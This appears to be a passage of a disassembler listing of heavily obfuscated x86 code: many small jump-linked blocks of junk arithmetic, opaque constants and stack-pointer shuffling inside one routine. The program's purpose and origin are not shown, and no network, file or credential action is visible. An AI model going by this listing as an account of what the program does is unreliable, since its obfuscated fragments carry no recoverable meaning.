; ---------------------------------------------------------------------------


loc_5D2A12:				; CODE XREF: sub_5A55E5+24FE6j
		sub	esp, 4
		mov	[esp+5Ch+var_5C], esi
		jmp	loc_5C7358
; ---------------------------------------------------------------------------


loc_5D2A20:				; CODE XREF: sub_5A55E5+1C00Cj
		xchg	ebp, [esp+96h+var_98+2]
		jmp	loc_5C63EC
; ---------------------------------------------------------------------------


loc_5D2A28:				; CODE XREF: sub_5A55E5+21587j
		add	ebp, 4
		jmp	loc_5CF45C
; ---------------------------------------------------------------------------


loc_5D2A30:				; CODE XREF: sub_5A55E5+215DCj
		add	esp, 4
		add	edi, 645621EBh
		pop	edx
		xor	edi, 5AD91E59h
		add	edi, 482EA879h
		jmp	loc_5C47C6
; ---------------------------------------------------------------------------


loc_5D2A4E:				; CODE XREF: sub_5A55E5+2393Ej
		add	ecx, 8BE0AB9h
		jmp	loc_5C5847
; ---------------------------------------------------------------------------


loc_5D2A59:				; CODE XREF: sub_5A55E5+1F792j
		push	2143h
		mov	[esp+9Eh+var_A0+2], esi
		mov	esi, 27F72894h
		push	edi
		mov	edi, 62BB34F7h
		jmp	loc_5CB4C6
; ---------------------------------------------------------------------------


loc_5D2A71:				; CODE XREF: sub_5A55E5+1D9BEj
		mov	edi, [esp+0A2h+var_A4+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5C9054
; ---------------------------------------------------------------------------


loc_5D2A82:				; CODE XREF: sub_5A55E5+2D7DFj
		mov	edi, [esp+0A6h+var_A8+2]
		add	esp, 4
		jmp	loc_5CCD09
; ---------------------------------------------------------------------------


loc_5D2A90:				; CODE XREF: sub_5A55E5+2A2D0j
		xor	ebx, [esp+66h+var_68+2]
		jmp	loc_5C4101
; ---------------------------------------------------------------------------


loc_5D2A98:				; CODE XREF: sub_5A55E5+1C560j
		pop	ecx
		add	ecx, 4
		jmp	loc_5C6E84
; ---------------------------------------------------------------------------


loc_5D2AA4:				; CODE XREF: sub_5A55E5+2AB58j
		add	edx, 0F9FFFACAh
		add	ecx, edx
		pop	edx
		jmp	loc_5C2583
; ---------------------------------------------------------------------------


loc_5D2AB2:				; CODE XREF: sub_5A55E5+2A067j
		mov	edi, ebx
		pop	ebx
		jmp	loc_5D14F1
; ---------------------------------------------------------------------------


loc_5D2ABA:				; CODE XREF: sub_5A55E5+259D0j
		add	eax, 4
		sub	eax, 4
		push	eax
		push	[esp+0AAh+var_A8+2]
		jmp	loc_5CA911
; ---------------------------------------------------------------------------


loc_5D2ACC:				; CODE XREF: sub_5A55E5+1D318j
		mov	word ptr [esp+8Eh+var_90+2], dx
		push	ax
		pushf
		jmp	loc_5C564C
; ---------------------------------------------------------------------------


loc_5D2AD8:				; CODE XREF: sub_5A55E5+2396Aj
		mov	[esp+5Ah+var_5C+2], ebx
		push	[esp+5Ah+var_58+2]
		mov	ebx, [esp+5Eh+var_60+2]
		add	esp, 4
		pop	[esp+5Ah+var_5C+2]
		mov	esp, [esp+56h+var_58+2]
		mov	word ptr [esp+56h+var_58+2], ax
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D2AF4:				; CODE XREF: sub_5A55E5+2DF6Bj
		dec	ah
		jmp	loc_5D1CBE
; ---------------------------------------------------------------------------


loc_5D2AFB:				; CODE XREF: sub_5A55E5+2DA84j
		sub	eax, 1DC5308Eh
		jmp	loc_5C5FFD
; ---------------------------------------------------------------------------


loc_5D2B05:				; CODE XREF: sub_5A55E5+2D84Fj
		mov	ecx, [esp+56h+var_58+2]
		jmp	loc_5D2936
; ---------------------------------------------------------------------------


loc_5D2B0D:				; CODE XREF: sub_5A55E5+1E365j
		push	eax
		jmp	loc_5C5736
; ---------------------------------------------------------------------------


loc_5D2B13:				; CODE XREF: sub_5A55E5+21FDCj
		sub	esp, 4
		mov	[esp+90h+var_90], edx
		jmp	loc_5CD41D
; ---------------------------------------------------------------------------


loc_5D2B21:				; CODE XREF: sub_5A55E5+1CEF9j
		pop	[esp+8Eh+var_90+2]
		mov	esp, [esp+8Ah+var_8C+2]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D2B2C:				; CODE XREF: sub_5A55E5+2586Ej
		sub	[edi+24h], eax
		push	[esp+84h+var_84]
		pop	eax
		push	ebx
		push	esp
		jmp	loc_5C6EDB
; ---------------------------------------------------------------------------


loc_5D2B3A:				; CODE XREF: sub_5A55E5+26CF1j
		sub	ebx, ecx
		jmp	loc_5CCC43
; ---------------------------------------------------------------------------


loc_5D2B41:				; CODE XREF: sub_5A55E5+1A5CEj
		push	eax
		push	[esp+8Ah+var_88+2]
		pop	eax
		pop	[esp+8Ah+var_8C+2]
		pop	esp
		add	edx, 4
		push	edi
		mov	edi, 4E944A36h
		push	esi
		jmp	loc_5D38F1
; ---------------------------------------------------------------------------


loc_5D2B5D:				; CODE XREF: sub_5A55E5+28F99j
		push	ecx
		push	8F2410h
		pop	ecx
		or	ecx, 7E49463Ah
		shl	ecx, 6
		sub	ecx, 9A701CCBh
		jmp	loc_5D4005
; ---------------------------------------------------------------------------


loc_5D2B78:				; CODE XREF: sub_5A55E5+228D5j
		and	esi, 34185298h
		add	esi, 0EC6760EEh
		sub	eax, esi
		pop	esi
		jmp	loc_5D0BA4
; ---------------------------------------------------------------------------


loc_5D2B8C:				; CODE XREF: sub_5A55E5+1A58Cj
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		jmp	loc_5C080D
; ---------------------------------------------------------------------------


loc_5D2B9B:				; CODE XREF: sub_5A55E5+2841Ej
		xor	[esp+70h+var_70], esi
		xor	esi, [esp+70h+var_70]
		pop	esp
		add	ecx, 4
		jmp	loc_5CDA5A
; ---------------------------------------------------------------------------


loc_5D2BAA:				; CODE XREF: sub_5A55E5+1E4F3j
		sub	esp, 4
		mov	[esp+8Ch+var_8C], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		push	edi
		mov	edi, 4
		add	edx, edi
		jmp	loc_5C1EB1
; ---------------------------------------------------------------------------


loc_5D2BD1:				; CODE XREF: sub_5A55E5+298B9j
		add	ebp, 4
		xchg	ebp, [esp+0B0h+var_B0]
		jmp	loc_5BFE76
; ---------------------------------------------------------------------------


loc_5D2BDC:				; CODE XREF: sub_5A55E5+2B31Aj
		mov	eax, 1E67F4Bh
		xor	eax, 6064249Fh
		push	ecx
		mov	ecx, 36E93F0Fh
		or	ecx, 3CC133ECh
		shr	ecx, 5
		shl	ecx, 3
		jmp	loc_5C2449
; ---------------------------------------------------------------------------


loc_5D2BFD:				; CODE XREF: sub_5A55E5+23F99j
		mov	[esp+9Ch+var_9C], edx
		push	6645h
		sub	esp, 4
		mov	[esp+0A4h+var_A4], esp
		add	[esp+0A4h+var_A4], 4
		jmp	loc_5C3CB3
; ---------------------------------------------------------------------------


loc_5D2C17:				; CODE XREF: sub_5A55E5+27F32j
		xor	ebp, esi
		jmp	loc_5C1EEC
; ---------------------------------------------------------------------------


loc_5D2C1E:				; CODE XREF: sub_5A55E5+1CE5Fj
		sub	edi, 39940D3h
		sub	edi, edx
		add	edi, 39940D3h
		push	3E16h
		jmp	loc_5CD68E
; ---------------------------------------------------------------------------


loc_5D2C36:				; CODE XREF: sub_5A55E5+2CBAAj
		mov	edx, [esp+54h+var_54]
		add	esp, 4
		jmp	loc_5D36F0
; ---------------------------------------------------------------------------


loc_5D2C44:				; CODE XREF: sub_5A55E5+1AD2Fj
		pop	ebx
		sub	ecx, 44CD664Fh
		add	ecx, eax
		add	ecx, 44CD664Fh
		pop	eax
		sub	eax, ecx
		push	[esp+0A0h+var_A0]
		jmp	loc_5C3C38
; ---------------------------------------------------------------------------


loc_5D2C5E:				; CODE XREF: sub_5A55E5+1F11Ej
		add	[esp+9Ah+var_98+2], ebp
		jmp	loc_5C24AC
; ---------------------------------------------------------------------------


loc_5D2C67:				; CODE XREF: sub_5A55E5+2EAC6j
		sub	eax, ebp
		pop	ebp
		pop	edx
		pop	ebx
		sub	eax, 21410084h
		push	26D0h
		jmp	loc_5D303A
; ---------------------------------------------------------------------------


loc_5D2C7B:				; CODE XREF: sub_5A55E5+1C79Cj
		add	edx, 325B58EBh
		pop	esi
		pop	ecx
		sub	esp, 4
		mov	[esp+90h+var_90], esi
		push	ebx
		mov	ebx, 7B2846D4h
		jmp	loc_5C38F7
; ---------------------------------------------------------------------------


loc_5D2C97:				; CODE XREF: sub_5A55E5+28BE4j
		xchg	ebp, ebx
		xor	ebx, 445E208Bh
		shl	ebx, 8
		xor	ebx, 4E4DC4A2h
		add	ebp, ebx
		jmp	loc_5CE175
; ---------------------------------------------------------------------------


loc_5D2CAF:				; CODE XREF: sub_5A55E5+29D5Dj
		mov	[esp+0C0h+var_C0], edx
		mov	edx, 4
		add	eax, edx
		jmp	loc_5C846C
; ---------------------------------------------------------------------------


loc_5D2CBE:				; CODE XREF: sub_5A55E5+220F2j
		mov	eax, 8CB2DBBh
		and	eax, 5E43DEDh
		jmp	loc_5CDFD2
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+98h+var_98]
		push	747Bh
		mov	[esp+9Ch+var_9C], ecx
		push	esp
		push	[esp+0A0h+var_A0]
		pop	ecx
		push	edx
		push	esp
		mov	edx, [esp+0A8h+var_A8]
		add	esp, 4
		push	ebp
		jmp	loc_5C440E
; ---------------------------------------------------------------------------


loc_5D2CEC:				; CODE XREF: sub_5A55E5+29F0Bj
		dec	ebp
		dec	ebp
		not	ebp
		sub	ebp, 72E84400h
		mov	esi, ebp
		pop	ebp
		sub	esi, 0FFFFFFFFh
		push	eax
		mov	eax, 2F5A4BD8h
		jmp	loc_5C0939
; ---------------------------------------------------------------------------


loc_5D2D07:				; CODE XREF: sub_5A55E5+24C0Aj
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		xor	ecx, 552D7527h
		jmp	loc_5CE48F
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0B2h+var_B4+2]
		push	esi
		sub	esp, 4
		jmp	loc_5C5C20
; ---------------------------------------------------------------------------


loc_5D2D28:				; CODE XREF: sub_5A55E5+22B47j
		mov	eax, 1833066Dh
		inc	eax
		shl	eax, 2
		jmp	loc_5D1D0E
; ---------------------------------------------------------------------------


loc_5D2D36:				; CODE XREF: sub_5A55E5+1EEBDj
		add	esp, 4
		push	edi
		mov	edi, 80618616h
		add	esi, edi
		pop	edi
		sub	ebx, 5CC62DCCh
		add	ebx, 21E15EDFh
		add	ebx, esi
		sub	ebx, 21E15EDFh
		add	ebx, 5CC62DCCh
		pop	esi
		push	71F1h
		mov	[esp+88h+var_88], ebx
		push	[esp+88h+var_84]
		mov	ebx, [esp+8Ch+var_8C]
		push	edx
		mov	edx, esp
		jmp	loc_5C6AC4
; ---------------------------------------------------------------------------


loc_5D2D77:				; CODE XREF: sub_5A55E5+293AAj
		push	edx
		mov	edx, 6557784Dh
		neg	edx
		sub	edx, 73B00124h
		not	edx
		dec	edx
		add	edx, 26F88695h
		add	esi, edx
		mov	edx, [esp+0A8h+var_A8]
		add	esp, 4
		add	esi, 4
		jmp	loc_5CF7BE
; ---------------------------------------------------------------------------


loc_5D2DA1:				; CODE XREF: sub_5A55E5+1E7D5j
		pop	ebx
		jmp	loc_5C19DA
; ---------------------------------------------------------------------------


loc_5D2DA7:				; CODE XREF: sub_5A55E5+1CC44j
		inc	byte ptr [esp+58h+var_58]
		pop	bx
		and	bl, 6
		jmp	loc_5CAE14
; ---------------------------------------------------------------------------


loc_5D2DB4:				; CODE XREF: sub_5A55E5+228CAj
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_5D2A82
; ---------------------------------------------------------------------------


loc_5D2DC9:				; CODE XREF: sub_5A55E5+2E076j
		pop	[esp+0ACh+var_AC]
		jmp	loc_5D28A0
; ---------------------------------------------------------------------------


loc_5D2DD1:				; CODE XREF: sub_5A55E5+2E1ECj
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D2DD8:				; CODE XREF: sub_5A55E5+27567j
		shl	edi, 5
		add	edi, 552A1F05h
		and	edi, 61F724EFh
		add	edi, 5B4D1910h
		or	edi, 653A40DEh
		xor	edi, 0DDC6F67h
		mov	ebp, edi
		jmp	loc_5C7BB3
; ---------------------------------------------------------------------------


loc_5D2E00:				; CODE XREF: sub_5A55E5+1A342j
		pop	ecx
		xor	ebx, 3FA0069Dh
		jmp	loc_5BFBE1
; ---------------------------------------------------------------------------


loc_5D2E0C:				; CODE XREF: sub_5A55E5+285A0j
		push	ebx
		sub	esp, 4
		jmp	loc_5CC0D8
; ---------------------------------------------------------------------------


loc_5D2E15:				; CODE XREF: sub_5A55E5+2488Ej
		sub	eax, 723C4B3Fh
		not	eax
		inc	eax
		dec	eax
		and	eax, 59232FAh
		add	eax, 783ABA11h
		jmp	loc_5D1B2D
; ---------------------------------------------------------------------------


loc_5D2E2D:				; CODE XREF: sub_5A55E5+1E56Ej
		mov	[esp+90h+var_90], esp
		add	[esp+90h+var_90], 4
		jmp	loc_5D2B05
; ---------------------------------------------------------------------------


loc_5D2E39:				; CODE XREF: sub_5A55E5+2DFADj
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5CE1A0
; ---------------------------------------------------------------------------


loc_5D2E48:				; CODE XREF: sub_5A55E5+2472Bj
		push	0B46h
		jmp	loc_5D1237
; ---------------------------------------------------------------------------


loc_5D2E52:				; CODE XREF: sub_5A55E5+27BFFj
		push	7F05h
		jmp	loc_5C2337
; ---------------------------------------------------------------------------


loc_5D2E5C:				; CODE XREF: sub_5A55E5+1F8D6j
		sub	eax, edi
		pop	edi
		and	ebp, eax
		pop	eax
		push	ebx
		mov	ebx, 0CB25D2Ah
		or	ebx, 7D2B2F9Fh
		add	ebx, 834DE35Ch
		sub	ebp, ebx
		pop	ebx
		xor	ebp, 30990B56h
		xor	ebp, 11648E2Fh
		add	eax, ebp
		pop	ebp
		jmp	loc_5C2C19
; ---------------------------------------------------------------------------


loc_5D2E8B:				; CODE XREF: sub_5A55E5+22FCFj
		mov	ebx, 1CDA21A7h
		push	eax
		jmp	loc_5C53C0
; ---------------------------------------------------------------------------


loc_5D2E96:				; CODE XREF: sub_5A55E5+284B7j
		mov	ebp, 56152513h
		xor	ebp, 573C76BDh
		push	428Fh
		mov	[esp+90h+var_90], esi
		mov	esi, 0
		sub	esi, ebp
		xchg	esi, ebp
		pop	esi
		xor	ebp, 1A05786Ch
		jmp	loc_5C0D6E
; ---------------------------------------------------------------------------


loc_5D2EBE:				; CODE XREF: sub_5A55E5+2A8F6j
		mov	ebp, esp
		jmp	loc_5C463F
; ---------------------------------------------------------------------------


loc_5D2EC5:				; CODE XREF: sub_5A55E5+1A544j
		and	bx, 343Fh
		jmp	loc_5C53FF
; ---------------------------------------------------------------------------


loc_5D2ECF:				; CODE XREF: sub_5A55E5+2E270j
		mov	ebp, edx
		pop	edx
		xor	eax, ebp
		push	[esp+62h+var_64+2]
		jmp	loc_5CF0D4
; ---------------------------------------------------------------------------


loc_5D2EDC:				; CODE XREF: sub_5A55E5+29D47j
		pop	esp
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D2EE2:				; CODE XREF: sub_5A55E5+1E39Fj
		sub	esp, 4
		jmp	loc_5CC894
; ---------------------------------------------------------------------------


loc_5D2EEA:				; CODE XREF: sub_5A55E5+235D1j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+70h+var_70]
		pop	esp
		mov	[esp+6Ch+var_6C], eax
		jmp	loc_5CA516
; ---------------------------------------------------------------------------


loc_5D2F02:				; CODE XREF: sub_5A55E5+22B9Aj
		xor	ecx, 73B0D6FBh
		jmp	loc_5CF068
; ---------------------------------------------------------------------------


loc_5D2F0D:				; CODE XREF: sub_5A55E5+1B1B4j
		sub	eax, 4
		xchg	eax, [esp+80h+var_80]
		pop	esp
		mov	[esp+7Ch+var_7C], esp
		push	edx
		mov	edx, 4
		jmp	loc_5C1C7F
; ---------------------------------------------------------------------------


loc_5D2F22:				; CODE XREF: sub_5A55E5+216C1j
		mov	ebx, edi
		pop	edi
		add	ebp, ebx
		mov	ebx, [esp+9Eh+var_A0+2]
		add	esp, 4
		xchg	ebp, [esp+9Ah+var_9C+2]
		mov	esp, [esp+9Ah+var_9C+2]
		shl	[esp+9Ah+var_9C+2], cl
		pushf
		jmp	loc_5D14EC
; ---------------------------------------------------------------------------


loc_5D2F3F:				; CODE XREF: sub_5A55E5+1F1B8j
		sub	esp, 4
		mov	[esp+7Ah+var_7C+2], ecx
		jmp	loc_5C5E58
; ---------------------------------------------------------------------------


loc_5D2F4A:				; CODE XREF: sub_5A55E5+294B7j
		add	esp, 4
		pop	[esp+92h+var_94+2]
		pop	esp
		imul	cx
		push	ebx
		push	esp
		pop	ebx
		push	ebp
		push	ecx
		mov	ecx, 0D486DC4h
		mov	ebp, 0FBF29F4h
		xor	ebp, ecx
		pop	ecx
		or	ebp, 1A5B2763h
		jmp	loc_5C22A9
; ---------------------------------------------------------------------------


loc_5D2F74:				; CODE XREF: sub_5A55E5+1C5C7j
		push	esi
		mov	esi, 4
		add	ebp, 50CB3BACh
		jmp	loc_5CE548
; ---------------------------------------------------------------------------


loc_5D2F85:				; CODE XREF: sub_5A55E5+1BEB7j
		push	edi
		mov	edi, 56A6769Fh
		or	ecx, edi
		mov	edi, [esp+92h+var_94+2]
		add	esp, 4
		push	7724h
		mov	[esp+92h+var_94+2], esi
		push	edx
		push	4DF30A58h
		pop	edx
		xor	edx, 134475A3h
		push	edx
		add	[esp+9Ah+var_9C+2], 47C3230Eh
		pop	esi
		sub	esi, 47C3230Eh
		jmp	loc_5CF982
; ---------------------------------------------------------------------------


loc_5D2FBC:				; CODE XREF: sub_5A55E5+1D75Aj
		xor	ecx, [esp+0B6h+var_B8+2]
		mov	esp, [esp+0B6h+var_B8+2]
		or	word ptr [esp+0B6h+var_B8+2], ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D2FCC:				; CODE XREF: sub_5A55E5+20C70j
		push	eax
		mov	ah, 5Eh
		jmp	loc_5D05E5
; ---------------------------------------------------------------------------


loc_5D2FD4:				; CODE XREF: sub_5A55E5+23C6Cj
		pop	ax
		sub	esp, 2
		mov	word ptr [esp+78h+var_78], ax
		mov	ah, cl
		push	ax
		xchg	ah, byte ptr [esp+7Ah+var_7C+3]
		push	ecx
		mov	cl, ah
		not	cl
		mov	ah, cl
		pop	ecx
		xchg	ah, byte ptr [esp+7Ah+var_7C+3]
		pop	ax
		mov	cl, ah
		mov	ax, word ptr [esp+78h+var_78]
		jmp	loc_5CC07D
; ---------------------------------------------------------------------------


loc_5D3001:				; CODE XREF: sub_5A55E5+25AECj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0A4h+var_A4]
		pop	esp
		push	68B8h
		mov	[esp+0A4h+var_A4], ebx
		push	esp
		pop	ebx
		push	edx
		mov	edx, 724F4333h
		shr	edx, 6
		jmp	loc_5C0273
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0A8h+var_A8]
		jmp	loc_5C70BB
; ---------------------------------------------------------------------------


loc_5D3032:				; CODE XREF: sub_5A55E5+25043j
		xchg	edx, [esp+96h+var_98+2]
		jmp	loc_5C0403
; ---------------------------------------------------------------------------


loc_5D303A:				; CODE XREF: sub_5A55E5+2D691j
		mov	[esp+92h+var_94+2], ecx
		push	edi
		mov	edi, 51EC3796h
		push	ecx
		jmp	loc_5CD9C4
; ---------------------------------------------------------------------------


loc_5D3049:				; CODE XREF: sub_5A55E5+1E2CDj
		add	esp, 4
		pop	edx
		push	5F1Ch
		mov	[esp+60h+var_60], esi
		mov	esi, 0F3F2F5Fh
		xor	edx, esi
		mov	esi, [esp+60h+var_60]
		add	esp, 4
		pop	ecx
		jmp	loc_5D2AFB
; ---------------------------------------------------------------------------


loc_5D306E:				; CODE XREF: sub_5A55E5+1A620j
		add	esp, 2
		push	bx
		push	ax
		mov	al, 81h
		push	ecx
		mov	ch, al
		mov	bh, ch
		pop	ecx
		pop	ax
		sub	al, bh
		pop	bx
		sub	al, bh
		push	213Dh
		mov	[esp+9Eh+var_A0+2], ecx
		mov	cl, 20h
		add	cl, 0C7h
		and	cl, 0FCh
		jmp	loc_5CC58D
; ---------------------------------------------------------------------------


loc_5D309A:				; CODE XREF: sub_5A55E5+2E195j
		pop	ebp
		xor	ecx, 0FC8584CFh
		sub	ebp, ecx
		jmp	loc_5C133F
; ---------------------------------------------------------------------------


loc_5D30A8:				; CODE XREF: sub_5A55E5+2C141j
		sub	ecx, 1C641850h
		sub	ecx, 0D47EE67h
		mov	eax, ecx
		jmp	loc_5D3F6A
; ---------------------------------------------------------------------------


loc_5D30BB:				; CODE XREF: sub_5A55E5+20A13j
		sub	esp, 4
		push	esp
		pop	[esp+8Eh+var_90+2]
		add	[esp+8Ah+var_8C+2], 4
		pop	eax
		add	eax, 4
		push	esi
		jmp	loc_5D0CAA
; ---------------------------------------------------------------------------


loc_5D30D5:				; CODE XREF: sub_5A55E5+1F0A3j
		shr	eax, 2
		jmp	loc_5CCD85
; ---------------------------------------------------------------------------


loc_5D30DD:				; CODE XREF: sub_5A55E5+1EC3Cj
		neg	edi
		sub	edi, 4F2808B3h
		jmp	loc_5C916C
; ---------------------------------------------------------------------------


loc_5D30EA:				; CODE XREF: sub_5A55E5+230E1j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0A6h+var_A8+2]
		jmp	loc_5D327F
; ---------------------------------------------------------------------------


loc_5D3100:				; CODE XREF: sub_5A55E5+28C77j
		or	edx, 3587193Dh
		push	ebp
		mov	ebp, 7FB537C0h
		jmp	loc_5D2566
; ---------------------------------------------------------------------------


loc_5D3111:				; CODE XREF: sub_5A55E5+21B09j
		mov	[esp+8Ch+var_8C], ebx
		jmp	loc_5C20F7
; ---------------------------------------------------------------------------


loc_5D3119:				; CODE XREF: sub_5A55E5+20E38j
		xor	[esp+84h+var_84], esi
		xor	esi, [esp+84h+var_84]
		pop	esp
		jmp	loc_5C3BC1
; ---------------------------------------------------------------------------


loc_5D3125:				; CODE XREF: sub_5A55E5+1CC51j
		push	esi
		mov	esi, 79597435h
		jmp	loc_5C4BD0
; ---------------------------------------------------------------------------


loc_5D3130:				; CODE XREF: sub_5A55E5+271B0j
		add	esp, 4
		xchg	ecx, [esp+74h+var_74]
		mov	esp, [esp+74h+var_74]
		mov	ax, word ptr [esp+74h+var_74]
		push	685Bh
		mov	[esp+78h+var_78], edx
		mov	edx, esp
		add	edx, 4
		push	3459h
		mov	[esp+7Ch+var_7C], esi
		mov	esi, 232710BEh
		shl	esi, 6
		push	4198h
		mov	[esp+80h+var_80], ebp
		mov	ebp, 0C9C42F7Eh
		sub	esi, ebp
		jmp	loc_5CD976
; ---------------------------------------------------------------------------


loc_5D3171:				; CODE XREF: sub_5A55E5+2817Ej
		mov	esp, [esp+80h+var_80]
		sub	esi, 4D19049Bh
		push	eax
		mov	eax, 28200D55h
		not	eax
		inc	eax
		sub	eax, 6F779438h
		or	esi, eax
		pop	eax
		and	esi, 705D4668h
		shr	esi, 8
		sub	esi, 705942h
		add	edx, 76B07E57h
		add	edx, esi
		jmp	loc_5C713D
; ---------------------------------------------------------------------------


loc_5D31A7:				; CODE XREF: sub_5A55E5+2A6C9j
		push	291826E5h
		mov	esi, [esp+9Ch+var_9C]
		add	esp, 4
		jmp	loc_5C7774
; ---------------------------------------------------------------------------


loc_5D31B7:				; CODE XREF: sub_5A55E5+2BFD4j
		add	esi, 4
		sub	esi, 4
		jmp	loc_5D2302
; ---------------------------------------------------------------------------


loc_5D31C8:				; CODE XREF: sub_5A55E5+2285Dj
		mov	[esp+0BAh+var_BC+2], esi
		jmp	loc_5D2339
; ---------------------------------------------------------------------------


loc_5D31D0:				; CODE XREF: sub_5A55E5+2BAB5j
		add	edi, ebx
		add	edi, 12D52421h
		push	1E5Dh
		mov	[esp+88h+var_88], ebp
		mov	ebp, 57A500BEh
		sub	edi, ebp
		pop	ebp
		push	edx
		jmp	loc_5BFA2F
; ---------------------------------------------------------------------------


loc_5D31EE:				; CODE XREF: sub_5A55E5+27B85j
		add	esi, ebx
		jmp	loc_5CE82C
; ---------------------------------------------------------------------------


loc_5D31F5:				; CODE XREF: sub_5A55E5+2093Dj
		sub	ebp, esi
		pop	esi
		jmp	loc_5C4624
; ---------------------------------------------------------------------------


loc_5D31FD:				; CODE XREF: sub_5A55E5+28470j
		mov	eax, [esp+0B4h+var_B4]
		jmp	loc_5CFDE9
; ---------------------------------------------------------------------------


loc_5D3205:				; CODE XREF: sub_5A55E5+1D616j
		add	edx, 42EB323Dh
		sub	edx, 0B654EA3Dh
		add	ecx, edx
		pop	edx
		push	edi
		mov	edi, 53BB5EE1h
		sub	edi, 16486F56h
		jmp	loc_5C43CC
; ---------------------------------------------------------------------------


loc_5D3225:				; CODE XREF: sub_5A55E5+23879j
		add	ebx, 2
		sub	esp, 4
		mov	[esp+4Eh+var_50+2], ecx
		mov	ecx, esp
		sub	esp, 4
		jmp	loc_5D3B3F
; ---------------------------------------------------------------------------


loc_5D323B:				; CODE XREF: sub_5A55E5+2D279j
		pop	esp
		mov	[esp+68h+var_68], edi
		mov	edi, esp
		push	ebx
		jmp	loc_5D2237
; ---------------------------------------------------------------------------


loc_5D3247:				; CODE XREF: sub_5A55E5+1ABAFj
		sub	bl, ah
		sub	bl, 1Ah
		mov	eax, [esp+7Ah+var_7C+2]
		add	esp, 4
		jmp	loc_5D0F9A
; ---------------------------------------------------------------------------


loc_5D325A:				; CODE XREF: sub_5A55E5+23434j
		xor	[esp+50h+var_50], ebx
		xor	ebx, [esp+50h+var_50]
		pop	esp
		jmp	loc_5CC9FD
; ---------------------------------------------------------------------------


loc_5D3266:				; CODE XREF: sub_5A55E5+23EDFj
		mov	[esp+9Ch+var_9C], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+9Ch+var_9C]
		jmp	loc_5CE245
; ---------------------------------------------------------------------------


loc_5D327F:				; CODE XREF: sub_5A55E5+2DB16j
		pop	esp
		mov	[esp+0A2h+var_A4+2], ecx
		push	edi
		mov	edi, 23DD291Dh
		jmp	loc_5C2FC6
; ---------------------------------------------------------------------------


loc_5D328E:				; CODE XREF: sub_5A55E5+20CDAj
		add	esp, 4
		push	7E00h
		mov	[esp+0B2h+var_B4+2], ebx
		push	ebp
		jmp	loc_5D2106
; ---------------------------------------------------------------------------


loc_5D32A2:				; CODE XREF: sub_5A55E5+24C52j
		sub	edx, 4
		jmp	loc_5D3F87
; ---------------------------------------------------------------------------


loc_5D32AD:				; CODE XREF: sub_5A55E5+21F11j
		pop	ecx
		add	ecx, 1
		push	edi
		push	ecx
		mov	edi, [esp+80h+var_80]
		jmp	loc_5C0A7D
; ---------------------------------------------------------------------------


loc_5D32BB:				; CODE XREF: sub_5A55E5+1E85Ej
		pop	[esp+0B8h+var_B8]
		add	[esp+0B4h+var_B4], 4
		pop	eax
		add	eax, 4
		sub	esp, 4
		mov	[esp+0B4h+var_B4], ecx
		jmp	loc_5C9FF9
; ---------------------------------------------------------------------------


loc_5D32D6:				; CODE XREF: sub_5A55E5+1A2C0j
		xor	esi, ebx
		pop	ebx
		pop	ecx
		push	ebp
		mov	ebp, 6D9B43C8h
		push	ebp
		add	dword ptr [esp+0], 5EDA48F1h
		pop	edx
		jmp	loc_5C48E2
; ---------------------------------------------------------------------------


loc_5D32EE:				; CODE XREF: sub_5A55E5+2AAA9j
		mov	eax, ecx
		mov	ecx, [esp+86h+var_88+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8Ah+var_8C+2]
		mov	esp, [esp+8Ah+var_8C+2]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D330D:				; CODE XREF: sub_5A55E5+2A522j
		add	eax, 18B86F78h
		push	edx
		jmp	loc_5CCBE4
; ---------------------------------------------------------------------------


loc_5D3318:				; CODE XREF: sub_5A55E5+202DCj
		xor	ebx, [esp+9Ch+var_9C]
		mov	esp, [esp+9Ch+var_9C]
		bt	[esp+9Ch+var_9C], eax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D3328:				; CODE XREF: sub_5A55E5+1F41Fj
		sub	esi, 4
		xchg	esi, [esp+88h+var_88]
		pop	esp
		mov	[esp+84h+var_84], eax
		mov	eax, esp
		jmp	loc_5CEE3B
; ---------------------------------------------------------------------------


loc_5D333C:				; CODE XREF: sub_5A55E5+29E18j
		add	ecx, eax
		pop	eax
		jmp	loc_5C91B5
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+98h+var_98]
		push	265Fh
		mov	[esp+9Ch+var_9C], ebp
		jmp	loc_5CCCA7
; ---------------------------------------------------------------------------


loc_5D3355:				; CODE XREF: sub_5A55E5+1B758j
		add	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+98h+var_98], edi
		mov	edi, 39D65621h
		sub	edx, edi
		pop	edi
		push	edx
		xor	[esp+98h+var_98], 5D191D46h
		jmp	loc_5C4E43
; ---------------------------------------------------------------------------


loc_5D3376:				; CODE XREF: sub_5A55E5+1B3FAj
		xor	[esp+98h+var_98], ebp
		jmp	loc_5CB60D
; ---------------------------------------------------------------------------


loc_5D337E:				; CODE XREF: sub_5A55E5+21D81j
		sub	esp, 4
		jmp	loc_5C41AB
; ---------------------------------------------------------------------------


loc_5D3389:				; CODE XREF: sub_5A55E5+251D8j
